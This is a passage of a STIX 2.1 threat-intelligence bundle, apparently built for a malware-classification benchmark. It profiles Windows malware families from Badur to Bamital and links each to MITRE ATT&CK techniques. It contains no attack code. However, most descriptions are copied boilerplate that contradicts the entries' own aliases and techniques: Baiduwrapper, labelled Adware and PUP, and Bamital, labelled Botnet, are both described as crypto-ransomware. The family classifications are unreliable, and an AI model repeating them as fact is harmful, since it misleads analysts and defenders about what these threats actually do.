      "description": "Badur (identified in threat intelligence telemetry under detection names including Trojan:Win32/Badur, TrojanDownloader:Win32/Badur.A, Backdoor:Win32/Badur, and Win32/Badur) is a versatile Windows trojan downloader and backdoor active since 2018. Frequently distributed through spear-phishing emails containing weaponized office attachments, malicious archive files, and drive-by compromise sites, Badur establishes an initial foothold by dropping obfuscated binary payloads into hidden user directories. Once initialized, the malware queries the Windows registry, gathers hardware and network configuration details, and establishes a secure C2 channel using RC4/AES-encrypted HTTP requests. Badur functions as a multi-stage execution framework capable of downloading arbitrary PE files, spawning hollowed host processes (such as svchost.exe or dllhost.exe), modifying firewall rules, and granting threat actors persistent remote execution capabilities on victim endpoints. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Badur",
        "TrojanDownloader:Win32/Badur.A",
        "Backdoor:Win32/Badur",
        "Win32/Badur",
        "Trojan.Badur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Badur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/badur"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bagif",
      "description": "Bagif (classified in antivirus detection telemetry under designations including Ransom:Win32/Bagif, Ransom.Win32.Bagif, and Win32/Bagif) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bagif executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bagif",
        "Ransom.Win32.Bagif",
        "Win32/Bagif"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bagif",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bagif"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c0736b8-9bc5-51f7-a188-a21a1f97a900",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagif exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6606a3b6-e3a7-5eef-9214-593802537dce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagif exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--819cce62-3594-5f24-a648-6b88533391be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagif exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa838b76-216a-5e62-a112-06ee36c10c3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagif exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68d97ed6-6f35-56e7-be2c-bc2eaa5945aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0c4ce6d-75b6-5e67-a274-01ab457a39c2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagif exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b7c07d7c-70ff-5aa2-97f1-4a38cd855f7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bagle",
      "description": "Bagle (classified in antivirus detection telemetry under designations including Backdoor:Win32/Bagle, Backdoor.Win32.Bagle, and Win32/Bagle) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bagle executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Bagle",
        "Backdoor.Win32.Bagle",
        "Win32/Bagle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bagle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bagle"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1534: Internal Spearphishing (Mass-mailing propagation)",
      "description": "MITRE ATT&CK Technique T1534 (Internal Spearphishing (Mass-mailing propagation)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1534",
          "url": "https://attack.mitre.org/techniques/T1534/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df0e2374-0800-5a69-8861-43a475c2c859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c07d7c-70ff-5aa2-97f1-4a38cd855f7e",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagle exhibits technique T1534 (Internal Spearphishing (Mass-mailing propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aeb254d3-f372-5d54-b7ad-949ae55559e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c07d7c-70ff-5aa2-97f1-4a38cd855f7e",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagle exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7b556bf-1957-501b-a20a-5448c2c6f7f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c07d7c-70ff-5aa2-97f1-4a38cd855f7e",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagle exhibits technique T1071 (Application Layer Protocol (Listening backdoor on TCP 6777))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae6bd017-e7b9-53a1-b1b3-af29d6775181",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c07d7c-70ff-5aa2-97f1-4a38cd855f7e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagle exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bagsu",
      "description": "Bagsu (classified in antivirus detection telemetry under designations including Ransom:Win32/Bagsu, Ransom.Win32.Bagsu, and Win32/Bagsu) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bagsu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bagsu",
        "Ransom.Win32.Bagsu",
        "Win32/Bagsu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bagsu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bagsu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b1f431d-d9c3-54c1-b0da-eb69a01fa00c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagsu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19f9ba6b-3ed8-5398-bec2-754846214947",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagsu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--693d6431-930a-58d1-a207-ca22ad1002e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagsu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0025798a-7502-5faf-b254-e079e3a9ce25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagsu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--476bc3f4-9543-5852-9a9c-9e51678a579c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a5472b5-5fa3-5251-b144-67fd23278cc1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bagsu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1721328-15be-5c6c-999b-b16fa2d2a09d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Baidu",
      "description": "Baidu (classified in antivirus detection telemetry under designations including Ransom:Win32/Baidu, Ransom.Win32.Baidu, and Win32/Baidu) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Baidu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Baidu",
        "Ransom.Win32.Baidu",
        "Win32/Baidu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Baidu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/baidu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--752484b5-e8ae-5d74-94d0-c03f922bc1f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1721328-15be-5c6c-999b-b16fa2d2a09d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidu exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--101193e1-4e06-595e-acf9-a8a8db9aa0f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1721328-15be-5c6c-999b-b16fa2d2a09d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidu exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Using drivers to prevent uninstallation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a60e12-3983-5e52-9353-04a713abae44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1721328-15be-5c6c-999b-b16fa2d2a09d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidu exhibits technique T1176 (Browser Extensions (Installing add-ons for search hijacking or telemetry))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed2b3408-58a6-5bb2-b2c0-8e0d7881f30f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Baidusearch",
      "description": "Baidusearch (classified in antivirus detection telemetry under designations including Trojan:Win32/Baidusearch, Trojan.Win32.Baidusearch, and Win32/Baidusearch) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Baidusearch executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Baidusearch",
        "Trojan.Win32.Baidusearch",
        "Win32/Baidusearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Baidusearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/baidusearch"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89283c27-286f-5d3f-8544-f9f754537d13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed2b3408-58a6-5bb2-b2c0-8e0d7881f30f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidusearch exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--193b929b-8d88-57a8-b7ab-b2bf735a3dad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed2b3408-58a6-5bb2-b2c0-8e0d7881f30f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidusearch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e8ab27a-1b36-5d16-916a-5e89e7f6117f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed2b3408-58a6-5bb2-b2c0-8e0d7881f30f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baidusearch exhibits technique T1189 (Drive-by Compromise (Software bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76fcb578-e173-5dfd-8e47-ea55bcd0b3d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Baiduwrapper",
      "description": "Baiduwrapper (classified in antivirus detection telemetry under designations including Ransom:Win32/Baiduwrapper, Ransom.Win32.Baiduwrapper, and Win32/Baiduwrapper) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Baiduwrapper executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.BaiduWrapper",
        "PUP.Baidu",
        "Win32/Adware.Baidu",
        "Ransom:Win32/Baiduwrapper",
        "Ransom.Win32.Baiduwrapper",
        "Win32/Baiduwrapper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Baiduwrapper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/baiduwrapper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49c6c46c-f4b7-50ff-9135-1120301fd897",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76fcb578-e173-5dfd-8e47-ea55bcd0b3d0",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baiduwrapper exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02d8a9c1-328c-5aa9-a801-22546e54808d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76fcb578-e173-5dfd-8e47-ea55bcd0b3d0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baiduwrapper exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--daac3468-4676-5de4-b92a-d043bffdd8f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76fcb578-e173-5dfd-8e47-ea55bcd0b3d0",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baiduwrapper exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3deedcd2-f752-5e53-88c6-f8814e1578eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bamital",
      "description": "Bamital (classified in antivirus detection telemetry under designations including Ransom:Win32/Bamital, Ransom.Win32.Bamital, and Win32/Bamital) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bamital executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bamital",
        "W32/Bamital",
        "Botnet.Bamital",
        "Ransom:Win32/Bamital",
        "Ransom.Win32.Bamital",
        "Win32/Bamital"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bamital",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bamital"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93f5fb27-f5a4-5354-a1f4-dce2bce899fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3deedcd2-f752-5e53-88c6-f8814e1578eb",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamital exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c486a89c-4d7c-5026-9b4a-d96f0685b4b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3deedcd2-f752-5e53-88c6-f8814e1578eb",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamital exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c3c6cb4-305f-5a54-bef6-a01cf70dab5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3deedcd2-f752-5e53-88c6-f8814e1578eb",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamital exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0962d41a-8b13-508d-bb84-e65c48669211",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3deedcd2-f752-5e53-88c6-f8814e1578eb",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamital exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b78ccb8-fdac-53b9-9bd4-b5fbc0d018e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bamsupr",
